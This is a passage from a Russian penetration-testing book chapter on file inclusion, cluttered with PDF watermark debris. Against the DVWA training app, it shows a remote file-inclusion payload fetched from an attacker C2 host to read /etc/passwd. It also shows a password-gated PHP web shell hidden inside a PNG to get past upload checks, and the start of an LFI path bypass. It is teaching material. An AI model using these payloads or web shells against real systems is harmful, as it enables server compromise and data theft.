Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Эдриан_Прутяну_Как_стать_хакером_сборник_практическиз_сценариев.pdf
Скачиваний:
18
Добавлен:
19.04.2024
Размер:
20.34 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

Глава 5

 

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Внедрение файлов

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Впредыдущих главах мы занимались настройкой нашей среды, знакомились с утилитами и даже обсуждали атаки на приложения в поисках легкой добычи.

Вэтой главе будем анализировать атаки с использованием включения файлов и их загрузки. Хотя данные типы атак не представляют особой сложности, они по-прежнему распространены. Уязвимости, где можно применять подобного рода атаки, существовали всегда и, похоже, в ближайшее время не исчезнут.

Локальное и удаленное внедрения файлов не единственные способы вос-

пользоваться приложением и скомпрометировать его. Эти атаки можно применять, даже если разработчики ограничили загрузку исполняемого кода на стороне сервера,как увидим позже в этой главе.Существуетеще удивительное количествоприложений,уязвимыхдлялокальноговнедрения файлов,злоупотреблений при загрузке файлов, а иногда и для удаленного внедрения.

Вэтой главе рассмотрим следующие темы:

удаленное внедрение файлов;локальное внедрение файлов;

злоупотребление загрузкой файлов;объединение уязвимостей в цепочку для выполнения кода.

Если вы какое-то время работали в сфере разработки корпоративных приложений, то, без сомнения, знаете, насколько часто возникают такие проб­ лемы. Пользовательские корпоративные приложения нередко создаются с учетом сроков, а не безопасности. Корпоративные веб-приложения не единственная проблема: кошмар, связанный с интернетом вещей (IoT), только набирает обороты. Большинство доступных по цене устройств, таких как Wi-Fi-маршрутизаторы или мягкие игрушки,подключенные к интернету,плохо спроектированы и после выпуска их в продажу никогда не обновляются. Ввиду множества ограничений,как финансовых,так и сточки зрения аппаратногообеспечения,безопасностьтакогоустройстванаходитсянаэлементарном уровне, если вообще имеется. IoT-устройства – это новые PHP-приложения 2000-х годов, и уязвимости, которые, как мы думали, исчезли, активно возвращаются.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 116  Глава 5.Внедрение файлов

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Чтобы проиллюстрировать данные проблемы, будем использовать про-

 

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

ект Damn Vulnerable Web App (DVWA). Это конкретное приложение создано для того, чтобы с легкостью продемонстрировать самые популярные вебуязвимости, встречающиеся на практике. Все, от инъекции команд до XSS, можно протестировать с использованием трех уровней сложности: низкого, среднего и сложного.

DVWA доступен для скачивания в различных форматах, включая простой в использовании live CD: http://www.dvwa.co.uk.

Чтобы нам работалосьпроще,наш экземпляр DVWAбудетдоступен на сайте http://dvwa.app.internal.

Удаленное внедрение файлов

Несмотря на то что уязвимости, подверженные PHP-инъекциям, не так часто встречаются в современных приложениях, время от времени они все же появляются. Удаленное включение файлов было популярно еще на заре появления интернета и PHP. PHP известен тем, что позволял разработчикам реализовывать опасные функции.Функцииinclude() иrequire(),по существу,позволяливключатькодиздругихфайлов,либостогожедиска,либопосети.Этоделает веб-приложения более мощными и динамичными, но какой ценой? Передача пользовательских данных, содержащих конфиденциальную информацию, в функцию include() может скомпрометировать приложение или сервер.

Опасность внедрения файлов извне в серверный код довольно очевидна. PHP скачает внешний текст и интерпретирует его как код. Если внешний URLадрес контролируется злоумышленником,он можетслегкостью заразитьприложение.

В приведенном ниже примере уязвимость можно эксплуатировать с по­ мощью простой оболочки system(). На сервере c2.spider.ml, контролируемом злоумышленником,доступен текстовый файл, содержащий шелл-код.

root@kali:~# curl http://c2.spider.ml/test.txt

<?php system('cat /etc/passwd'); ?> root@kali:~#

Приложение DVWA уязвимо для атаки с использованием удаленного внед­ рения файлов по этому адресу:

http://dvwa.app.internal/vulnerabilities/fi/

Злоумышленники могут указать произвольную страницу с помощью параметра page, например:

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

Удаленное внедрение файлов 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

http://dvwa.app.internal/vulnerabilities/fi/?page=about.php

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

117 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Поскольку в параметре page нетнадлежащей очистки входныхданных,злоумышленники могут указать любой файл, который они хотят загрузить и отобразить на сервере, в том числе внешний файл, размещенный в другом месте. Затем злоумышленники могут дать указание уязвимому приложению dvwa. app.internal внедрить внешний файл, который будет обрабатываться как PHP-код,что в основном приведет к выполнению кода.

Мы можем указать полный URL-адрес для контролируемого злоумышленником адреса http://c2.spider.ml/test.txt в качестве страницы, которая должна быть внедрена так, как показано ниже.

http://dvwa.app.internal/vulnerabilities/fi/?page=

http://c2.spider.ml/test.txt

Рис.5.1. Приложение включает в себя удаленно размещенный код PHP, выполняет его и возвращает содержимое /etc/passwd

Как упоминалосьранее,уязвимости,подверженные атакам с использованием удаленного внедрения файлов, в современных приложениях встречаются реже, но благодаря IoT-устройствам с устаревшими библиотеками и пакетами они появляются снова.

Существуют допустимые основания разрешать функции include() получать код по сети. Приложения, возможно, были спроектированы, основываясь наэтомпринципе,ипереходвданномслучаеможетбытьслишкомзатратным.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 118  Глава 5.Внедрение файлов

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

Сточки зрения компаниидешевле оставитьархитектуру в покое и просто под-

 

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

ключить элементы управления в надежде удалить конфиденциальную информацию из входных данных, используя белый или черный список.

Управление на основе белого списка – идеальный вариант, но его трудно поддерживать в условиях меняющейся эксплуатационной среды. При частой ротации доменов и IP-адресов (например, CDN и облачная инфраструктура) может потребоваться много ресурсов, чтобы обновить белый список. Критичностьприложенияпотребуетнулевоговременипростоя.Следовательно,решение должно быть автоматизировано. Тем не менее этого трудно добиться без недостатков, касающихся информационной безопасности.

Можновыбратьчерныйсписок,хотяневозможноузнатьвсетекущиеибудущие входные данные в ходе атаки.Как правило,такой способ не рекомендуется,поскольку при наличии достаточного количества времени злоумышленники могут восстановить черный список и создать обходной путь. Тем не менее черный список иногда реализуется из-за нехватки ресурсов или времени.Если для аудита требуется контроль безопасности определенного компонента приложения,нонесовсемпонятно,какэтогодобиться,возможно,приреализации черного списка удастся быстрее получить отметку о соответствии.

Средства управления для ограничения удаленного внедрения файлов могут быть реализованы на уровне сети.Исходящий сетевойтрафик приложения тщательно анализируется,чтобы разрешить подключениетолько к известным серверам,что предотвращаетвключение злоумышленником кода с командноконтрольного сервера.Втеории это можетбыть хорошим средством контроля. Использование белого списка не требует перестройки рабочего процесса приложения.Разработчики могутпредоставитьспециалистам по сетевой безопас­ ности список доменов, которые должны быть доступны, а все остальное – удалено.

Локальное внедрение файлов

Атаки с локальным внедрением файлов по-прежнему часто используются и, вероятно, не исчезнут в ближайшее время. Нередко приложению полезно иметь возможность извлекать код из других файлов на диске. Это делает его болеемодульнымипростымвобслуживании.Проблемавозникает,когдастрока,переданнаявдирективуinclude,собираетсявразныхчастяхприложенияи

внее входятданные, предоставленные ненадежным пользователем. Сочетание загрузки и внедрения файла может иметь разрушительные по-

следствия. Если загрузим PHP-оболочку и сохраним где-то на диске вне вебкаталога, с помощью локального внедрения файлов сможем извлечь этот код и выполнить его.

DVWA можно использоватьдля демонстрации атак подобноготипа.При настройке уровня сложности как high загрузка чего-либо запрещена,кроме фай-

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Локальное внедрение файлов  119 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

лов формата JPEG или PNG, поэтому нельзя просто получить прямой доступ к

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

загруженной оболочке и выполнить код.

Чтобы обойти эту проблему, можно сгенерировать поддельный PNG-файл, используя команду convert из набора программ ImageMagick. Создадим небольшое изображение размером 32×32 пикселя с розовым фоном и сохраним его как файл shell.png, используя следующие опции.

root@kali:~# convert -size 32x32 xc:pink shell.png

Структура данных файла относительно проста. Заголовок PNG и несколько байтов, описывающих содержимое, автоматически генерируются командой convert. Мы можем проверить эти байты с помощью команды hexdump. Параметр -C сделает вывод более удобным для чтения.

root@sol:~# hexdump -C shell.png

 

 

 

 

 

 

 

 

00000000

89 50 4e

47

0d

0a

1a

0a

00

00

00

0d

49

48

44 52

|.PNG........

 

IHDR|

 

 

 

 

 

 

 

 

 

 

 

 

 

00000010

00 00 00

20

00

00

00

20

01

03

00

00

00

49

b4

e8

|

...... .....I..|

 

 

 

 

 

 

 

 

 

 

 

 

 

00000020

b7

00 00

00 04

67 41 4d

41

00

00

b1

8f

0b

fc 61

|.....

gAMA......

 

a|

 

 

 

 

 

 

 

 

 

 

 

 

 

00000030

05 00 00

00

20

63

48

52

4d

00

00

7a

26

00

00 80

|....

cHRM..z&...

|

 

 

 

 

 

 

 

 

 

 

 

 

 

00000040

84 00 00

fa 00 00 00 80

e8

00

00

75

30

00 00

ea

|...........

 

 

u0...

|

 

 

 

 

 

 

 

 

 

 

 

 

 

00000050

60 00 00

3a

98

00 00 17

70

9c

ba 51 3c

00 00 00

|'.. ....:

p..Q<...

|

 

 

 

 

 

 

 

 

 

 

 

 

 

00000060

06 50 4c

54 45

ff c0 cb

ff ff

ff 09 44

b5 cd 00

| ........PLTE

 

D...

|

 

 

 

 

 

 

 

 

 

 

 

 

 

00000070

00 00 01

62

4b

47 44 01

ff 02

2d de 00

00 00 0c

|...

bKGD...

-

.....

|

 

 

 

 

 

 

 

 

 

 

 

 

 

00000080

49 44 41

54 08

d7 63 60

18

dc

00 00 00

a0 00 01

|IDAT..c'

........

 

|

 

 

 

 

 

 

 

 

 

 

 

 

 

00000090

61 25 7d

47 00

00 00 00

49

45

4e

44

ae

42 60 82

|a%}G....

IEND.B'.|

 

 

 

 

 

 

 

 

 

 

 

 

 

Здесь много странных данных, но все они способствуют функциональному PNG-изображению. Также оказывается, что можно добавить произвольные байты в конец файла, и у большинства программ просмотра изображений не будетпроблем с визуализацией файла.Можем использоватьэти знания,чтобы начинить файл PHP-кодом,который впоследствии выполнит сервер с использованием атаки методом локального внедрения файлов.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 120  Глава 5.Внедрение файлов

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Вначале нам нужна простая PHP-оболочка, похожая на ту, что мы исполь-

 

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

зовали в предыдущих главах. Ниже показан PHP-код, который мы добавим в

PNG-файл.

Рис.5.2. Исходный код веб-оболочки

Как и прежде, оператор if проверит, соответствует ли значение хеша MD5

входного параметра password f1aab5cd9690adfa2dde9796b4c5d00d. Если со-

ответствует,то командная строка в параметре cmd будет передана в функцию system(), которая будет выполнять ее как системную команду, предоставляя нам доступ к оболочке.

Значение MD5, которое мы ищем, – DVWAAppLFI1, что подтверждается командой md5sum.

root@kali:~# echo -n DVWAAppLFI1 | md5sum f1aab5cd9690adfa2dde9796b4c5d00d - root@kali:~#

Можем использовать команду оболочки echo, чтобы добавить (>>) PHP-код в наше изображение shell.png.

root@kali:~# echo '<?php if (md5($_GET["password"]) == "f1aab5cd9690adfa2dde9796b4c5d00d") { system($_GET["cmd"]); } ?>' >> shell.png

Мы видели эту оболочку и раньше, и сейчас она должна сработать. При необходимости можно заменитьее более продвинутой оболочкой,нодлядемонстрации концепции этого должно быть достаточно.

Если проверим содержимое оболочки PNG с помощью команды hexdump, то ясно увидим,что PHP-оболочка была записана сразу после окончания структуры файла изображения PNG.

root@sol:~# hexdump -C shell.png

 

 

 

 

 

 

 

 

00000000

89

50

4e

47

0d

0a

1a

0a

00

00

00

0d

49

48

44

52

|.PNG........IHDR|

 

 

 

 

 

 

 

 

 

 

 

 

 

00000010

00

00

00

20

00

00

00

20

01

03

00

00

00

49

b4

e8

|... ... .....I..|

 

 

 

 

 

 

 

 

 

 

 

 

 

00000020

b7

00

00

00

04

67

41

4d

41

00 00

b1

8f

0b

fc 61

|.....gAMA......a|

 

 

 

 

 

 

 

 

 

 

 

 

 

00000030

05

00

00

00

20

63

48

52

4d

00

00

7a

26

00

00

80

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

df

 

 

 

 

 

e

 

 

 

 

 

 

 

 

 

 

 

 

|.... cHRM..z&...|

 

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

00000040

84 00 00

fa 00 00 00 80

 

 

 

 

 

 

|...........u0...|

 

 

 

 

 

 

 

 

 

 

 

00000050

60 00 00

3a

98

00

00

17

 

 

 

 

 

 

|'..:....p..Q<...|

 

 

 

 

 

 

 

 

 

 

 

00000060

06 50 4c

54 45 ff c0 cb

 

 

 

 

 

 

|.PLTE.......D...|

 

 

 

 

 

 

 

 

 

 

 

00000070

00 00 01

62

4b

47

44

01

 

 

 

 

 

 

|...bKGD...-.....|

 

 

 

 

 

 

 

 

 

 

 

00000080

49 44 41

54

08

d7

63

60

 

 

 

 

 

 

|IDAT..c'........|

 

 

 

 

 

 

 

 

 

 

 

00000090

61 25 7d

47

00

00

00

00

 

 

 

 

 

 

|a%}G....IEND.B'.|

 

 

 

 

 

 

 

 

 

 

 

000000a0

3c 3f 70

68

70

20

69

66

 

 

 

 

 

 

|<?php if (md5($_|

 

 

 

 

 

 

 

 

 

 

 

000000b0

47 45 54

5b

22

70

61

73

 

 

 

 

 

 

|GET["password"])|

 

 

 

 

 

 

 

 

 

 

 

000000c0

20 3d 3d

20

22

66

31

61

 

 

 

 

 

 

| == "f1aab5cd969|

 

 

 

 

 

 

 

 

 

 

 

000000d0

30 61 64

66

61

32

64

64

 

 

 

 

 

 

|0adfa2dde9796b4c|

 

 

 

 

 

 

 

 

 

 

 

000000e0

35 64 30

30

64

22

29

20

 

 

 

 

 

 

|5d00d") { system|

 

 

 

 

 

 

 

 

 

 

 

000000f0

28 24 5f

47

45

54

5b

22

 

 

 

 

 

 

|($_GET["cmd"]); |

 

 

 

 

 

 

 

 

 

 

 

00000100

7d 20 3f

3e

0a

 

 

 

 

 

 

 

 

 

|} ?>.|

 

 

 

 

 

 

Локальное внедрение файлов 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

121 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

e8 00 00 75 30 00 00 ea

70 9c ba 51 3c 00 00 00

ff ff ff 09 44 b5 cd 00

ff 02 2d de 00 00 00 0c

18 dc 00 00 00 a0 00 01

49 45 4e 44 ae 42 60 82

20 28 6d 64 35 28 24 5f

73 77 6f 72 64 22 5d 29

61 62 35 63 64 39 36 39

65 39 37 39 36 62 34 63

7b 20 73 79 73 74 65 6d

63 6d 64 22 5d 29 3b 20

Во всех прочих отношениях это по-прежнему действительное изображение в формате PNG. У большинства программ для визуализации не должно быть проблем с отображением содержимого – небольшого розового прямоугольника, как показано ниже (см. рис. 5.3).

Хотя DVWA на самом деле не будет проверять, имеет ли файл действительный PNG-заголовок, некоторые приложения могут это сделать. Даже если в веб-приложении используется более умная проверка, нежели обычная проверка типа «имя файла оканчивается на .png?», наша оболочка должна пройти незамеченной (см. рис. 5.4).

PNG-файл теперь можно загрузить через компонент DVWA: http://dvwa. app.internal/vulnerabilities/upload/.

DVWAлюбезно сообщаетнам,где приложение хранитнаш файл.В реальной ситуации нас не обязательно будет ждать такая удача. Нам бы пришлось полагаться на утечки информации об абсолютном пути, если бы этого требовала

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 122  Глава 5.Внедрение файлов

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

уязвимость.Если можем использовать относительные пути в ходе атаки мето-

 

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

дом включения файлов, то можно попытаться найти файл на диске, систематически перемещаясь по файловой системе (../, ../../, ../../../ и т.д.).

Рис.5.3. Зараженный файл изображения успешно отображается

Рис.5.4. Зараженный PNG-файл успешно загружен в целевое приложение

Чтобы применить свою PNG-оболочку, воспользуемся уязвимостью на странице http://dvwa.app.internal/vulnerabilities/fi/. Локально внедряемый файл присутствуетв параметре page запроса методом GET.Приложение позволяет внедрять несколько файлов с диска – предположительно для того, чтобы быть более модульным и простым в управлении.

Внедрение файлов – простая процедура. По сути, она позволяет пользователю указать файл на диске, который должен быть внедрен. Существует ряд элементов управления безопасностью, которые не позволяют нам внедрять любой файл. Учитывая, что это проект DVWA, мы можем проверить источник приложения и просмотреть условия, при которых элемент управления может запретить нам доступ к нашей оболочке.

На рисунке показан исходный код, необходимый для того, чтобы обезопасить себя от локального внедрения файлов. Перед включением файла выполняется конкретная проверка.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Локальное внедрение файлов 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

123 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис.5.5. Исходный код уязвимости,связанной с внедрением файлов

Операторif позволяетвнедрятьфайлытольковтомслучае,еслиониначинаютсясословаfile,напримерfile01.php илиfile02.php.Файлinclude.php также можетбытьвнедрен.Всеостальное,напримерhttp://c2.spider.ml/test.txt, приведет к появлению сообщения об ошибке: ERROR: File not found!.

На первый взгляд это довольно строгий контроль, но тут есть проблемы. Данная конкретная реализация иллюстрирует важную проблему, связанную с разработкой приложений и безопасностью. Стремясь предотвратить атаки методом внедрения, разработчики использовали белый список, но из-за нехватки времени и больших расходов на обслуживание они решили прибегнуть к сопоставлению строк,а не явного списка файлов.В идеале пользовательский ввод вообще никогда нельзя передавать в функцию include (или аналогичную).Жестко кодируемые значения более безопасны,нотаким кодом сложнее управлять.Всегда естькомпромисс между безопасностью и удобством использования, и, будучи хакерами, мы делаем ставку на более экономичный и, как правило, более небезопасный вариант.

Мы могли бы назвать свою оболочку file.png, но, поскольку наш загружаемый файл будет находиться за пределами каталога уязвимого скрипта, строка, которую нам нужно передать, должна быть абсолютным (или относительным) путем, который не сможет инициировать условие if, показанное на предыдущем скриншоте, в результате чего попытка взлома потерпит неудачу. И снова на помощь приходит универсальность и удобство языка PHP. PHP позволяет разработчикам ссылаться на файлы на диске по относительному пу-

ти (../../../etc/passwd), абсолютному пути (/etc/passwd) или с помощью встроенной URL-схемы file://.

Чтобы обойти ограничение загрузки, можем ссылаться на файл shell.png напрямую, используя абсолютный путь в сочетании со схемой file://, указы-

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

